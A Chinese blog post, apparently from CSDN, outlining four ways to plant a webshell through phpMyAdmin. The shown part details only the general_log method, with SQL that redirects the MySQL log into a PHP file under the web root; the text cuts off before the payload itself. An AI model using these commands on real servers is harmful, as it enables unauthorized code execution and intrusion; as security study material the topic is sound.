phpmyadmin getshell的四种方法

网站推广优化yetaoaiueo

于 2022-10-20 12:27:38 发布

阅读量2.2k

点赞数

分类专栏：安全漏洞相关文章标签：数据库 mysql php

本文链接：https://blog.youkuaiyun.com/yetaodiao/article/details/127424693

版权

安全漏洞相关专栏收录该内容

110 篇文章 ¥69.90 ¥99.00

订阅专栏

本文详细介绍了phpmyadmin中实现getshell的四种方法：通过日志文件写入shell，利用INTO OUTFILE功能，在知道绝对路径时进行操作，以及创建数据库和表来写入webshell。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

phpmyadmin常见的getshell的几种方法，一共是四种：1、日志文件写 shell2、在知道绝对路径的情况下，利用INTO OUTFILE 3、慢查询写入webshell4、创建数据库和表写入webshell：

1、日志文件写 shell(phpmyadmin getshell的四种方法)

general_log 默认关闭，开启它可以记录用户输入的每条命令，会把其保存在对应的日志文件中。可以尝试自定义日志文件，并向日志文件里面写入内容的话，那么就可以成功 getshell：

# 查看当前配置 phpmyadmin常见的getshell的几种方法
SHOW VARIABLES LIKE 'general%';

# 更改日志文件位置 phpmyadmin常见的getshell的几种方法
set global general_log = "ON";
set global general_log_file='C:/phpStudy/WWW/zyx.php';

# 往日志里面写入 payload
select

了解本专栏